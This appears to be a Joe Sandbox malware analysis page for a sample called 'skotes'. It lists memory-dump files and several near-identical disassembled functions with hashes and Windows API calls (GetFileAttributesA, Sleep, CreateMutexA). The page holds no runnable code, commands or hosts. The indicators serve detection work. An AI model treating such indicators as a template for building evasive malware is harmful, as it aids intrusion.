Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 06505105f19e77b901845eb0f9f120f128f8fb73cbb8146aa5c8ffa1ea6dde47
Instruction ID: 9af5b1d87e022ea0286e815bf80eafff6ee214984a6a319d23c73fcac235811f
Opcode Fuzzy Hash: 06505105f19e77b901845eb0f9f120f128f8fb73cbb8146aa5c8ffa1ea6dde47
Instruction Fuzzy Hash: 913126317943049BEB0CDBACDC887AEB773EB85310F248618E014EB3D6C7758A808762

Function 0060A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A07C
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: ca488a7c269ee27dcbc38b7317a3a937b669cf9ff39abc4f079804144018dc3d
Instruction ID: c87be246814975c1484345857f369d539afeac09b2a1d166eda4e18090bc6de7
Opcode Fuzzy Hash: ca488a7c269ee27dcbc38b7317a3a937b669cf9ff39abc4f079804144018dc3d
Instruction Fuzzy Hash: 36312531B943449BEB0CDBBCCD89BAEB773DB85310F248658E0149B3D5C77699808756

Function 0060A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A1B1
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 162b53ce28306a7f2d49515ff1b4859d4829cb7979ce07a8b471c03078cffa1b
Instruction ID: 9fa5a2eb092cbda8f795b75a9d95899cb03cb3166d7706aa952c42aae394dcea
Opcode Fuzzy Hash: 162b53ce28306a7f2d49515ff1b4859d4829cb7979ce07a8b471c03078cffa1b
Instruction Fuzzy Hash: 93312831B943449BEB0CDBECDD897AEB773AB86310F244668E0149B3D5D7758A808752

Function 0060A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A2E6
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 0a67964dc0d5b821839884acaf392af426e65aa350aa35df66cfa447cefa6ff3
Instruction ID: 55585e42df8d1ca31cf978ea9dccc3b0b8c9a236d9f2bed741b53679864d9a3d
Opcode Fuzzy Hash: 0a67964dc0d5b821839884acaf392af426e65aa350aa35df66cfa447cefa6ff3
Instruction Fuzzy Hash: 353148317943449BEB1CDBACDC887AEB773AB96350F248218E014DB3D5C7758A808752

Function 0060A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A41B
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
